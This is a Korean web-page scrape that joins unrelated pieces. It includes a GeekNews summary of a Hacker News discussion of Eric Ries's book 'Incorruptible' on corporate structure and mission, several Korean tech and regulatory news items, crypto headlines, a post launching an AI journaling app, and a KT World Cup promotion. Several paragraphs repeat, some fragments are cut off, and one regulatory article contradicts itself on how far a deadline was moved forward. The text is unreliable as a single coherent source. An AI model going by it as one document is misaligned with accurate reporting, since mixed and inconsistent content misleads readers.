과제의 상당 부분은 “우리 조직이 지금 실제로 무엇을 하고 있는가?”라는 질문의 답을 파악하는 일이고, 이는 요약 문제임 답변달기
Hacker News 의견들 “Costco 같은 회사들이 중력을 거스르도록 구조화됐다”는 표현에 대해, 핫도그 가격을 1.50달러로 유지한 일화는 구조 라기보다 리더십 에 가깝다고 봄 가격을 올리려던 순간 권한 있는 최고위 인물이 “올리면 죽인다”고 막은 것이고, 결국 올바른 판단을 가진 리더가 있어야 했다는 뜻임. 좋은 구조와 흔들리지 않는 이상주의적이고 정확한 리더가 둘 다 필요함 이 질문을 던진 게 좋았고, 사실 질문 형태는 아니었지만 그 인용문은 책에 그대로 들어 있음 Costco가 리더십, 강한 윤리, 거대한 규모 때문에만 버텼다고 생각하면 틀림. Wall Street가 건드리기에 너무 큰 회사란 없고, 실제로 Costco의 정신을 해체하려는 시도가 여러 번 있었지만 매번 Costco의 독특한 구조 가 저항하게 해줬음 고객층을 존중하고 제대로 이해하는 리더십 도 중요함 존중받는다고 느끼고 회사가 자기편이라고 진심으로 믿는 고객은 극도로 충성적이 됨. 그런 고객 기반을 만들고 계속 존중하면 문제는 스스로 풀림 Acquired에 Costco를 다룬 훌륭한 에피소드가 있음: https://www.acquired.fm/episodes/costco 다른 목표를 가진 새 소유주가 우회하거나 뒤집을 수 없는 규칙 구조는 없음 가치를 지키는 가장 탄탄한 방법은 “눈으로 본 것을 잊지 않도록 마음을 부지런히 지키고, 그것을 자녀와 자녀의 자녀에게 가르치는 것”에 가까움. 후계자가 문자 그대로 자녀일 필요는 없지만, 회사를 돈 가진 낯선 사람들 에게 넘기면 그들이 새 소유물을 마음대로 다루는 데 놀랄 수 없음 Vale을 쓰는 건가, 아니면 기본 Fable인가? NASA, ATT, IBM, HP, Amazon, Google, 그리고 직접 만든 몇몇 스타트업에서 일했지만, 스타트업을 제외하면 어느 곳도 원래의 사명 을 끝까지 지키지 못했음 창업자가 떠나고 다음 리더십이 창업자의 비전과 가치를 같은 방식으로 공유하지 않기 때문이라고 봄. 회사는 기여하고 싶은 사람들이 모인 협업체라서, 사람이 바뀌면 회사도 바뀌고 이는 피하기 어려움. Costco, Patagonia, Novo Nordisk처럼 이를 피한 원형들이 있다면, 그런 회사를 새로 만드는 법보다 이미 다녔던 회사들을 중력에 저항하는 조직으로 바꾸는 방법이 궁금함. 아니면 이미 너무 늦은 건지도 궁금함 오늘날 세상에서 책이 마주하려는 슬픈 진실 중 하나는 대부분의 회사가 승계의 시험 을 통과하지 못한다는 것임 하지만 이것이 우리가 살아야 하는 현실일 필요는 없음. 중력에 저항하는 조직을 만드는 것도, 이미 그 힘에 붙잡힌 조직을 바꾸는 것도 100% 가능함. 드물다는 사실은 현재 금융 시스템의 인센티브 설계와 가치관에 대해 많은 것을 말해주며, 자연법칙은 아님. 책의 2부인 “The Blueprint”는 이런 조직을 장기적이고 사명 중심적이며 부패하지 않는 일터로 만들기 위한 지배구조와 리더십 도구 를 다룸 기술 업계가 얼마나 “부패 가능”한지에 많은 만드는 사람들이 환멸을 느끼고 있음 예전에 Hacker News 1위에 올랐던 “Revenue Model is More Important than Culture”라는 글에서, 부패를 피하려면 비즈니스 모델 자체가 그 영향을 받지 않도록 해야 한다고 썼음. 하지만 이 논의를 읽고 보니 구조가 지배항 이라는 주장이 더 강하게 느껴짐 그 블로그 글을 읽었더라면 좋았겠음. 새 책의 한 장이 바로 그 내용임 대부분 회사가 쓰는 “사명 중심”이라는 표현은 사실상 완전한 거짓말이고, 기껏해야 “사명을 희망하는” 수준이라고 봄. 비즈니스 모델을 사명과 100% 맞추기 위해 필요한 관리 시스템, 리더십 기법, 구조적 요소를 가리키는 새 용어로 mission drive 를 만들었음. 설치하고 유지보수할 수 있는 엔진 같은 개념임 찾는 사람을 위한 링크: https://somehowmanage.com/2020/09/20/revenue-model-not-cultu... “나빠진다”는 것이 금융 인센티브뿐 아니라 더 많은 사람들이 가치를 얻는 변화와 겹칠 때가 있어 판단이 어려움 예를 들어 Spotify가 “플레이리스트를 쉽게 만들고 공유하게 해준다”에서 “우리가 만들어줄 테니 계속 배경음악처럼 들어라”로 이동한 경우, 초기 고급 사용자에게 나쁜 변화가 늦게 들어온 사용자에게는 좋을 수 있음. 대부분의 사례를 “핵심 청중·고객·시장이 바뀌었다”로 볼 수 있는지, 그리고 주요 청중이 싫어하는 일을 하면서도 더 큰 금융적 성공을 얻는 게 가능한지 궁금함 UI 설계에서는 이 현상의 일부를 연구함 고급 사용자와 초보자 사이에는 항상 긴장이 있고, 좋은 UI가 둘 다 완벽히 만족시키기는 불가능함. 그래서 제품 수명 동안 사용자층이 숙련되면서 UI는 더 복잡하고 이해하기 어려워지는 경향이 있으며, Adobe 제품이 자주 예로 듦. 이는 온보딩과 신규 사용자 확보를 어렵게 하고 성장을 제한할 수 있음. 반대로 더 단순한 제품이 초보자 시장을 노릴 공간을 만들기도 하고, 회사가 기능을 제거하거나 쓰기 어렵게 만들어 덜 까다로운 인구집단에 맞추기도 함. Spotify의 시장점유율이 정체되면 자동 플레이리스트 사용자층 을 계속 맞출지, 평균 사용자가 시간이 지나며 더 세련돼질지가 궁금함 예전에 Spotify에서 일했던 사람이 LinkedIn에 incorruptible 관점으로 이 변화를 훌륭하게 돌아본 글을 썼는데, 지금 링크는 없음 이런 변화는 고객이 원하는 것이 바뀐 결과인 경우가 매우 드물다고 봄. 사람들이 “시장”이라고 말할 때 고객을 말하는지 금융시장을 말하는지 자주 혼동함. 솔직히 이런 종류의 조정은 다른 어떤 단일 원천보다도 금융시장의 압력 에서 비롯되는 경우가 훨씬 많음 _Incorruptible_을 더 깊이 보고 싶은 사람을 위해, 지난 몇 달 동안 수백 건의 인터뷰와 행사를 하며 여러 주제를 이야기해 왔음 그 진행 상황은 Claude Code로 https://howisincorruptiblegoing.com/ 에 요약하게 하고 있음. 지금까지 받은 찬사, 리뷰, 수상 내역도 볼 수 있음 시장의 비윤리적 행동이 구조적이라는 전제에는 동의하고, 책 작업과 LTSE 설립 도 매우 큰 성취라고 봄 다만 규제와 개혁을 통해 공공투자의 전체 인센티브 구조를 착취가 아니라 관리 책임에 맞추도록 되돌릴 수 있을지는 회의적임. 이 꿈과 현실 사이의 “금융 중력”을 어떻게 거스를 계획인지 궁금함. 그리고 Claude Code는 인터뷰와 행사 요약 요청을 잘못 이해한 것 같음. 요약은 없고 마케팅·홍보 웹사이트를 만들어버렸음 저자로서 글쓰기에 AI 도구 를 쓰는 것 자체에 분노하는 사람들을 많이 상대하고 있음. 이런 반응을 어떻게 관리하고 있는지 궁금함 Anthropic에서 일했지만, 이 회사를 긍정적 사례로 들 때 구조 자체 에 많은 공을 돌리지는 않겠음 실제로는 특정 사람들, 특히 초기 팀 상당수와 연구·인프라 쪽 채용, 그리고 그 내부의 가까운 개인적 관계가 중요했다고 봄. 그 역학과 가치에 반하는 일에 굴복하지 않으려는 태도가 일부 비정상적으로 좋은 결정과 결과를 만들었음 [1]. 회사의 여러 부분은 정기적으로 “부패”하고, 대형 기술기업 문화를 들여오지 않고 확장하기는 어려움. 때로는 개별 기여자가 문제를 올리고, Dario가 개별 기여자와 직접 이야기한 뒤 흔드는 방식으로 방어가 이뤄졌음. 하지만 이 과정은 시간이 걸리고 완전한 되돌림으로 이어지지도 않음. 나쁘거나 맞지 않는 채용은 파장을 남김. 여전히 가치에 의해 움직이는 사람들이 많지만, 확장 동학은 다른 조직과 비슷하게 진화하는 듯하며 단지 직원 수와 매출 규모가 더 큰 상태임. Anthropic에서 일하는 특정 사람들은 신뢰하지만, 조직으로서의 Anthropic은 신뢰하지 않음. 구조와 무관하게 변하기 쉬운 조직임 [1]: https://news.ycombinator.com/item?id=47174423 사람의 중요성에 완전히 동의함 나쁜 채용 하나가 20명짜리 스타트업을 망가뜨리는 것도 봤고, 5명짜리 회사가 5명의 개인이 아니라 5x5명처럼 일해서 뛰어난 성과를 내는 것도 봤음 아무리 열심히 노력해도 이런 확장 동학 을 피할 수 있는지 정말 궁금함 피할 수 없다면, 중간관리의 1%만 사람이고 99%가 토큰인 가상의 경량 AI 회사에서 핵심 이점은 목표 정렬일 것 같음. 의사결정 대부분이 정치에 빨려 들어가지 않으면, 투입 자원 대비 산출이 훨씬 더 잘 확장됨 매우 날카로운 분석임. 구조는 껍데기와 같아서 안에 있는 것을 보호할 수는 있지만, 그 안을 활력 있고 건강하게 만들지는 못함 다만 Dario가 꾸준히 보여준 용기가 관습적인 “모범 사례” 구조에서도 가능했을 거라고 생각한다면 스스로를 속이는 것임 Palantir와 “DoW”와 일하기 시작했을 때 그 올곧은 사람들은 외계인에게 납치된 건가? ICs가 무슨 약자인가? 아직 새 책은 읽지 않았지만, 지난 20년 정도의 Disney 궤적 에 대한 견해가 궁금함 Bob Iger의 행동 때문에 Walt의 원래 비전에서 꽤 멀어진 것처럼 보임. 창의성으로 움직이던 회사를 지식재산을 노천채굴하듯 캐내 가치를 추출하는 기계로 바꿨음. Pixar, Lucasfilm, Marvel, Fox 같은 IP를 산 것은 첫날부터 활용 가능한 기존 브랜드를 얻는 위험 완화 전략이었지만, 그렇게 하면서 큰 창의적 베팅으로 세워진 Disney의 영혼을 죽였다고 봄 최근 Abigail Disney를 만날 기회가 있었는데, 할아버지의 정신에 벌어진 일을 매우 강하게 비판해 온 사람임. 꽤 슬프게 들렸음 The Lean Startup을 재미있게 읽었음 “우리 업계”라는 표현을 썼는데, 개인적으로는 “기술 업계”라는 개념을 아주 좋아하지 않음. 많은 스타트업이 소프트웨어·컴퓨팅이 아니고, 새 기술도 꼭 그렇지 않기 때문임. 그래도 사람들이 무슨 뜻으로 쓰는지는 이해함. Costco와 Patagonia 같은 예시는 기술 업계 회사가 아닌데, 새 책에는 기술 업계에서 독점을 밀어붙이는 네트워크 효과 앞에서도 부패하지 않는 방법을 보여주는 사례가 있는지 궁금함. 또는 시장 권력을 분산하기 위해 네트워크 효과를 연결된 제휴사들 사이에 나누는 실용적 방법을 본 적이 있는지도 궁금함 책에서는 기술과 비기술 이야기를 균형 있게 담으려고 최대한 노력했음 Anthropic, GitLab, Cloudflare 같은 기술 쪽 이야기도 몇 개 있음. 공포 사례를 전부 보고 싶다면 Cory Doctorow를 읽으면 됨. 여러 산업의 다양한 이야기를 넣은 이유는 우리가 맞서 싸우는 힘이 얼마나 널리 퍼져 있는지 보여주기 위해서임. 기술 업계에만 고유한 것도 있지만, 우리를 가르는 것보다 공통점이 더 많다고 봄. 개인적으로는 우리가 하는 일을 “기술 업계”보다 스타트업 운동 이라고 부르면 좋겠지만, 그 배는 이미 떠난 것 같음 The Lean Startup의 팬이고, 예전에 만든 몇 개 스타트업에도 영향을 줬으며 성공적인 엑싯도 했음 최근 몇 년간 Silicon Valley가 부패하는 모습을 보며 새 회사를 시작할 동기와 열정이 줄었지만, 새 책이 올바른 윤리로 스타트업을 시작하는 일이 가능하다는 불씨를 되살려주길 기대함. OpenAI가 비영리에서 이상한 구조를 거쳐 사실상 평범한 영리회사처럼 보이는 방향으로 간 부패 경로 를 연구해 본 적이 있는지, 그리고 그 복잡한 회사 구조에서 얻을 교훈이 무엇인지 궁금함 용병들 때문에 너무 낙담하지 않았으면 함 우리 중 많은 사람도 그들에게 우울해하지만, 그들이 오래 남을 것 같지는 않음. 과열 주기 한가운데서 흐름을 판단하려 하면 무엇이 진짜인지 알기 어렵고, 몇 년 뒤 다시 보는 편이 좋음. OpenAI는 교훈을 끌어내기 매우 복잡하고 혼란스러운 회사임. 거대한 자아를 가진 비범한 인물들이 말도 안 되는 일을 많이 하고 있고, 내부 세부 사항도 아직 많이 공개되지 않았음. 배후에서 실제로 무슨 일이 있었는지 우리는 정말로 알지 못한다고 봄. 파벌 다툼도 꽤 있었고, 돈이 그렇게 많이 걸리면 모든 쪽에서 나쁜 행동을 찾을 수 있음. 책에서는 장기간 안정적으로 보이는 구조를 다루며, 세부를 더 잘 아는 Anthropic 이야기로 설명하는 쪽이 편했음. 이런 복잡한 구조에서 정말 중요해 보이는 차이는 통제의 중심점 이 하나인지 둘 이상인지, 즉 견제와 균형이 있는지임. 외부 수탁자 이사회가 영리 이사회를 사명에 대해 책임지게 할 권한을 가질 때 더 안정적인 결과가 나오는 듯함. 이 결론의 바탕이 되는 데이터를 발전시킨 선구자인 Copenhagen Business School의 Steve Thompson 연구를 보면 좋음 AI 시대에 SaaS를 부트스트랩 하는 것에 대한 생각이 궁금함 한 사람이 더 많은 것을 활용할 수 있으니 더 관리 가능해진 건지, 아니면 자원 요구와 고객 기대가 커져 더 어려워진 건지 궁금함. 오늘날 “부패하지 않는” 회사를 시작하는 데 이것이 어떻게 작용하는지도 궁금함 기술 변화가 있을 때마다 그것이 창업가에게 어떻게 적용될지 파악하기는 늘 혼란스러움 한편으로는 새 MVP를 훨씬 쉽게 만들고, 배포와 고객 연결, 린 스타트업이 요구하는 여러 기법을 더 쉽게 실행하게 해줌. 다른 한편으로는 그 같은 역량이 경쟁 스타트업을 만드는 수천·수백만 명과, 당신이 뒤흔들려는 기존 기업들의 손에도 들어감. 특정 기술에서 이른바 공격자의 이점이 방어자의 이점을 넘어설지는 늘 열린 질문임. _Incorruptible_의 관점에서는 특히 LLM 이 회사 내부의 정렬과 일관성을 만들려는 관리자와 리더에게 매우 유리할 수 있다고 봄. LLM이 극도로 잘하는 것이 요약이기 때문임. 현대 리더십 과제의 상당 부분은 “우리 조직이 지금 실제로 무엇을 하고 있는가?”라는 질문의 답을 파악하는 일이고, 이는 요약 문제임
“Costco 같은 회사들이 중력을 거스르도록 구조화됐다”는 표현에 대해, 핫도그 가격을 1.50달러로 유지한 일화는 구조 라기보다 리더십 에 가깝다고 봄 가격을 올리려던 순간 권한 있는 최고위 인물이 “올리면 죽인다”고 막은 것이고, 결국 올바른 판단을 가진 리더가 있어야 했다는 뜻임. 좋은 구조와 흔들리지 않는 이상주의적이고 정확한 리더가 둘 다 필요함
NASA, ATT, IBM, HP, Amazon, Google, 그리고 직접 만든 몇몇 스타트업에서 일했지만, 스타트업을 제외하면 어느 곳도 원래의 사명 을 끝까지 지키지 못했음 창업자가 떠나고 다음 리더십이 창업자의 비전과 가치를 같은 방식으로 공유하지 않기 때문이라고 봄. 회사는 기여하고 싶은 사람들이 모인 협업체라서, 사람이 바뀌면 회사도 바뀌고 이는 피하기 어려움. Costco, Patagonia, Novo Nordisk처럼 이를 피한 원형들이 있다면, 그런 회사를 새로 만드는 법보다 이미 다녔던 회사들을 중력에 저항하는 조직으로 바꾸는 방법이 궁금함. 아니면 이미 너무 늦은 건지도 궁금함
기술 업계가 얼마나 “부패 가능”한지에 많은 만드는 사람들이 환멸을 느끼고 있음 예전에 Hacker News 1위에 올랐던 “Revenue Model is More Important than Culture”라는 글에서, 부패를 피하려면 비즈니스 모델 자체가 그 영향을 받지 않도록 해야 한다고 썼음. 하지만 이 논의를 읽고 보니 구조가 지배항 이라는 주장이 더 강하게 느껴짐
“나빠진다”는 것이 금융 인센티브뿐 아니라 더 많은 사람들이 가치를 얻는 변화와 겹칠 때가 있어 판단이 어려움 예를 들어 Spotify가 “플레이리스트를 쉽게 만들고 공유하게 해준다”에서 “우리가 만들어줄 테니 계속 배경음악처럼 들어라”로 이동한 경우, 초기 고급 사용자에게 나쁜 변화가 늦게 들어온 사용자에게는 좋을 수 있음. 대부분의 사례를 “핵심 청중·고객·시장이 바뀌었다”로 볼 수 있는지, 그리고 주요 청중이 싫어하는 일을 하면서도 더 큰 금융적 성공을 얻는 게 가능한지 궁금함
_Incorruptible_을 더 깊이 보고 싶은 사람을 위해, 지난 몇 달 동안 수백 건의 인터뷰와 행사를 하며 여러 주제를 이야기해 왔음 그 진행 상황은 Claude Code로 https://howisincorruptiblegoing.com/ 에 요약하게 하고 있음. 지금까지 받은 찬사, 리뷰, 수상 내역도 볼 수 있음
Anthropic에서 일했지만, 이 회사를 긍정적 사례로 들 때 구조 자체 에 많은 공을 돌리지는 않겠음 실제로는 특정 사람들, 특히 초기 팀 상당수와 연구·인프라 쪽 채용, 그리고 그 내부의 가까운 개인적 관계가 중요했다고 봄. 그 역학과 가치에 반하는 일에 굴복하지 않으려는 태도가 일부 비정상적으로 좋은 결정과 결과를 만들었음 [1]. 회사의 여러 부분은 정기적으로 “부패”하고, 대형 기술기업 문화를 들여오지 않고 확장하기는 어려움. 때로는 개별 기여자가 문제를 올리고, Dario가 개별 기여자와 직접 이야기한 뒤 흔드는 방식으로 방어가 이뤄졌음. 하지만 이 과정은 시간이 걸리고 완전한 되돌림으로 이어지지도 않음. 나쁘거나 맞지 않는 채용은 파장을 남김. 여전히 가치에 의해 움직이는 사람들이 많지만, 확장 동학은 다른 조직과 비슷하게 진화하는 듯하며 단지 직원 수와 매출 규모가 더 큰 상태임. Anthropic에서 일하는 특정 사람들은 신뢰하지만, 조직으로서의 Anthropic은 신뢰하지 않음. 구조와 무관하게 변하기 쉬운 조직임 [1]: https://news.ycombinator.com/item?id=47174423
아직 새 책은 읽지 않았지만, 지난 20년 정도의 Disney 궤적 에 대한 견해가 궁금함 Bob Iger의 행동 때문에 Walt의 원래 비전에서 꽤 멀어진 것처럼 보임. 창의성으로 움직이던 회사를 지식재산을 노천채굴하듯 캐내 가치를 추출하는 기계로 바꿨음. Pixar, Lucasfilm, Marvel, Fox 같은 IP를 산 것은 첫날부터 활용 가능한 기존 브랜드를 얻는 위험 완화 전략이었지만, 그렇게 하면서 큰 창의적 베팅으로 세워진 Disney의 영혼을 죽였다고 봄
The Lean Startup을 재미있게 읽었음 “우리 업계”라는 표현을 썼는데, 개인적으로는 “기술 업계”라는 개념을 아주 좋아하지 않음. 많은 스타트업이 소프트웨어·컴퓨팅이 아니고, 새 기술도 꼭 그렇지 않기 때문임. 그래도 사람들이 무슨 뜻으로 쓰는지는 이해함. Costco와 Patagonia 같은 예시는 기술 업계 회사가 아닌데, 새 책에는 기술 업계에서 독점을 밀어붙이는 네트워크 효과 앞에서도 부패하지 않는 방법을 보여주는 사례가 있는지 궁금함. 또는 시장 권력을 분산하기 위해 네트워크 효과를 연결된 제휴사들 사이에 나누는 실용적 방법을 본 적이 있는지도 궁금함
The Lean Startup의 팬이고, 예전에 만든 몇 개 스타트업에도 영향을 줬으며 성공적인 엑싯도 했음 최근 몇 년간 Silicon Valley가 부패하는 모습을 보며 새 회사를 시작할 동기와 열정이 줄었지만, 새 책이 올바른 윤리로 스타트업을 시작하는 일이 가능하다는 불씨를 되살려주길 기대함. OpenAI가 비영리에서 이상한 구조를 거쳐 사실상 평범한 영리회사처럼 보이는 방향으로 간 부패 경로 를 연구해 본 적이 있는지, 그리고 그 복잡한 회사 구조에서 얻을 교훈이 무엇인지 궁금함
AI 시대에 SaaS를 부트스트랩 하는 것에 대한 생각이 궁금함 한 사람이 더 많은 것을 활용할 수 있으니 더 관리 가능해진 건지, 아니면 자원 요구와 고객 기대가 커져 더 어려워진 건지 궁금함. 오늘날 “부패하지 않는” 회사를 시작하는 데 이것이 어떻게 작용하는지도 궁금함
발행일: 2026-06-12 14:52 (금)
한국어 KR 영어 EN 일본어 JP 중국어 CH
AI AI 활용 경험, 포트폴리오에 어떻게 담아야 할까
주민등록번호와 온라인상에서 특정 개인을 식별하기 위한 전자정보인 연계정보(CI) 분리 보관 시행이 앞당겨진다.
방송미디어통신위원회는 12일 전체회의를 열어 내년 5월1일 시행 예정이던 주민번호와 연계정보의 분리 보관 시행일을 내년 1월1일로 4개월 앞당기기 위해 관련 고시 개정안을 보고했다.
주민번호와 CI를 별도로 보관해야 한다는 데 대해 기술적인 인프라 재구축과 검증 등에 준비 기간이 필요하다는 사업자 요청에 따라 시행일을 2027년 5월1일로 유예했다.
다만 지난해 국회 국정감사에서 롯데카드가 주민번호, CI를 동시에 유출하면서 유예기간이 과도하다는 지적이 쏟아졌고, 방미통위는 추가 피해 위험에 대한 선제적 대응을 위해 고시 개정에 추진했다.
통신 3사 이용자보호 잘했어도 과징금 감경 인센티브 못받아 2026.06.12 ICT 양부처, AI·디지털 규제 맞손...미디어발전위 설치 적극 협력 2026.06.10 "불법촬영 이미지도 유통방지 조치 취해야" 2026.06.04 방미통위 "선거방송 수어통역사 가이드라인 개정 검토” 2026.06.02
방미통위는 CI와 주민번호 분리 보관에 대한 조기 시행을 담은 고시 개정안에 대해 행정예고 등을 통한 의견수렴, 관계부처 협의, 규제심사 등을 거쳐 내년 1월1일부터 본격 시행할 예정이다.
최수영 위원은 “국민적인 관심사가 큰 사안으로 고시 개정 추진은 당연한 것”이라며 “시행일 단축이 6개월 정도라는데 사업자의 준비사항도 꼼꼼하게 살펴 개인정보보호와 사업자의 부담 사이에서 균형있는 제도를 만들어야 한다”고 말했다.
전기통신사업자 이용자보호 평균 873점…전년比 13점 하락
2025년 전기통신사업자 이용자보호 업무평가결과. [사진: 방미통위]
[디지털투데이 손슬기 기자] 방송미디어통신위원회는 지난해 전기통신사업자 47곳 이용자보호 업무를 평가한 결과 전반적인 수준이 전년 대비 하락하거나 정체된 것으로 나타났다고 12일 밝혔다.
방미통위는 이날 '2026년 제17차 전체회의'를 열고 '2025년도 전기통신사업자 이용자보호 업무 평가결과'를 심의·의결했다. 이번 평가는 '전기통신사업법'에 따라 매년 실시하며 결과를 공개한다.
평가 대상은 기간통신·부가통신 등 12개 서비스 분야 총 47개사다. 유니컴즈(알뜰폰), 테무(쇼핑), 쿠팡이츠(배달), 티빙·쿠팡플레이(OTT), 치지직(개인방송)이 신규로 포함됐다.
시범평가 대상 8개사를 제외한 39개사 전체 평균은 873.3점으로 전년 대비 13.4점 하락했다.
대형 기간통신사업자들 등급은 전반적으로 내려갔다. 이동통신 분야에서 SK텔레콤은 1등급 하락했고 KT는 유지, LG유플러스는 1등급 올랐다. 초고속인터넷 분야에서는 SK브로드밴드, SK텔레콤, ktHCN이 각각 1등급 하락했다.
부가통신사업자는 전년과 유사한 수준이었으나, 불법정보 유통 방지와 허위·과장 상품정보로 인한 피해구제 노력이 미흡한 것으로 평가됐다. 소상공인·크리에이터·라이더 등 이용사업자 보호업무 평가가 새로 도입됐으나 관련 지표 점수는 대체로 저조했다.
온라인관계망(SNS) 분야에서는 인스타그램이 처음으로 본평가에 포함됐지만 페이스북과 함께 미흡 등급을 받았다. 넷플릭스코리아와 KT스카이라이프는 전문 컨설팅에 적극 참여해 2등급 상승, 양호 등급을 받았다.
이용자 보호 우수사례로는 ktHCN의 '원콜 고객상담', KT스카이라이프 명의도용·부정가입 방지 정책, 네이버 위조 감정 프로그램 확대 등 3건이 선정됐다.
방미통위는 2025년 주요 통신사들의 침해사고 이슈를 감안해 우수 등급 이상 사업자에게 부여하는 과징금 감경 혜택을 부여하지 않거나 사실관계 확인 시까지 유예하기로 했다.
김종철 방미통위원장은 "이용자 피해 양상이 복잡하고 광범위해지고 있어 사업자가 선제적인 피해예방 체계를 구축하는 데 전력을 다해야 한다"고 말했다. 이어 "방미통위도 정교화된 평가지표 개발과 맞춤형 컨설팅을 통해 사업자의 이용자 보호 역량이 실질적으로 높아질 수 있도록 최선을 다할 것"이라고 덧붙였다.
키워드 #방미통위 #전기통신사업자 #이통3사 #SNS #OTT #인스타그램
이 시각 추천뉴스 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러?
IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시
클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담
그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요'
크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상
Show GN: MindMuse - 당신의 마음을 보여드립니다 (themindmuse.ai)
저는 마음의 병을 가지고 있어서 지속적으로 제 마음 상태를 모니터링해야 합니다. 하지만 제 마음 상태를 제 스스로 알기가 어려울 때가 많습니다. 그래서 일기를 쓰면 AI가 마음 상태를 분석해 주는 웹서비스를 만들었습니다. 마음을 머리 - 사고, 가슴 - 감정, 배 - 본능/욕구 의 세 영역으로 나누어서 점수를 매깁니다. 여기에 다른 지표들도 추가로 산정합니다. 날마다 나온 점수들은 주단위/월단위의 그래프로 추이를 파악할 수 있습니다. 이 그래프를 진료나 상담에 보조 자료로 활용할 수 있습니다. 제가 필요해서 만든 서비스라 지금은 사용자가 저 한 명뿐이지만 필요한 분들과 닿아서 함께 발전시켜나가고 싶습니다.
의 세 영역으로 나누어서 점수를 매깁니다. 여기에 다른 지표들도 추가로 산정합니다.
날마다 나온 점수들은 주단위/월단위의 그래프로 추이를 파악할 수 있습니다. 이 그래프를 진료나 상담에 보조 자료로 활용할 수 있습니다.
제가 필요해서 만든 서비스라 지금은 사용자가 저 한 명뿐이지만 필요한 분들과 닿아서 함께 발전시켜나가고 싶습니다.
함께 보면 좋은 글 β 세로토닌: 마음을 위한 AI Headt Stamp - 하트스탬프 일기장 AI 이미지 스타일 코치 (연예인 닮은꼴) "오늘 하루를 그려줘 - AI 그림 일기" 개발후기 차트 분석 AI, 근데 이제 손금을 곁들인
"오늘 하루를 그려줘 - AI 그림 일기" 개발후기
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요. Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요.
Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
인증 이메일 클릭후 다시 체크박스를 눌러주세요
▲ nvrshowfear 12분전 [-] 개인이 만든 느낌은 아닌데요..? 답변달기 ▲ tobwithu 9분전 [-] 회사 프로젝트이긴 한데 저 혼자 만들었습니다. 답변달기
▲ nvrshowfear 12분전 [-] 개인이 만든 느낌은 아닌데요..? 답변달기
▲ tobwithu 9분전 [-] 회사 프로젝트이긴 한데 저 혼자 만들었습니다. 답변달기
회사 프로젝트이긴 한데 저 혼자 만들었습니다.
KT가 26년간 한국 축구 국가대표팀 공식 파트너로 활동하며 쌓아온 응원 문화 조성 노하우를 바탕으로 '2026 국제축구연맹(FIFA) 북중미월드컵' 광화문 응원 열기를 이끈다.
KT는 KT광화문빌딩 웨스트에 설치된 2개의 대형 미디어월을 통해 이날 오전 11시부터 펼쳐진 한국 축구 국가대표팀 첫 경기를 시작으로 이달 19·25일 예선전을 생중계 한다. 우리 국가대표팀이 32강 진출할 경우 추가 중계도 고려한다는 계획이다.
이동재 KT 브랜드 담당 스포츠마케팅팀 팀장은 12일 오전 열린 미디어 브리핑을 통해 "지난 26년간 한국 축구 국가대표팀의 공식 파트너로서, 국가대표 축구팀의 도전과 국민의 응원의 순간을 함께해 왔다"고 밝혔다.
이 팀장에 따르면, KT는 2001년부터 대한민국 축구국가대표팀 공식파트너로 활동하며 2002년 한일 월드컵 당시 '코리아 팀 파이팅' 캠페인 참석을 기점으로 매 월드컵과 국가대표 경기마다 응원 현장 운영을 지원해 왔다.
2006년 독일 월드컵에선 붉은악마 공식 응원가 '레즈 고 투게더' 등을 제작했으며, 붉은악마와 함께 광화문 거리 응원을 운영했다.
2010년 남아공 월드컵에서는 원정 첫 16강 진출의 순간을 국민들과 함께했고, 2018년 러시아 월드컵에선 5G 기반의 안정적인 중계 환경 지원에 나서는 등 26년간 응원 환경 조성에 힘썼다.
KT는 이번 북중미월드컵을 맞아 KT광화문빌딩 웨스트 2층 전시공간 온마루에서 월드컵 기념 팝업형 전시 행사를 진행한다. 월요일부터 토요일까지, 오전 10시부터 오후 6시까지 운영한다. 단, 일요일은 휴무다.
행사장에는 'AX 로봇 드로잉', 'AX 포토 어시스트' 등 AI 기반 체험형 프로그램과 한국 축구의 역사를 돌아볼 수 있는 전시 콘텐츠가 조성됐다.
관람객이 선수에게 보내는 응원 메시지를 입력하면 메시지가 대형 미디어 스크린에 아트월 형태로 구현되는 '응원 메시지 미디어월'도 마련됐다.
월드컵 D-1...KT, 광화문 통신 트래픽 폭주 이렇게 막는다 2026.06.11 KT, 월드컵 인파 밀집지에 네트워크 운영 방안 마련 2026.06.09 KT, 광화문 '온마루'서 월드컵 팝업 연다 2026.06.08 광화문광장서 월드컵 생중계...KT 미디어월 활용 2026.06.07
이동재 팀장은 "앞으로도 한국 축구의 발전과 국가대표팀의 승리를 위해 사명감을 가지고 마지막까지 최선을 다해 지원하겠다"고 강조했다.
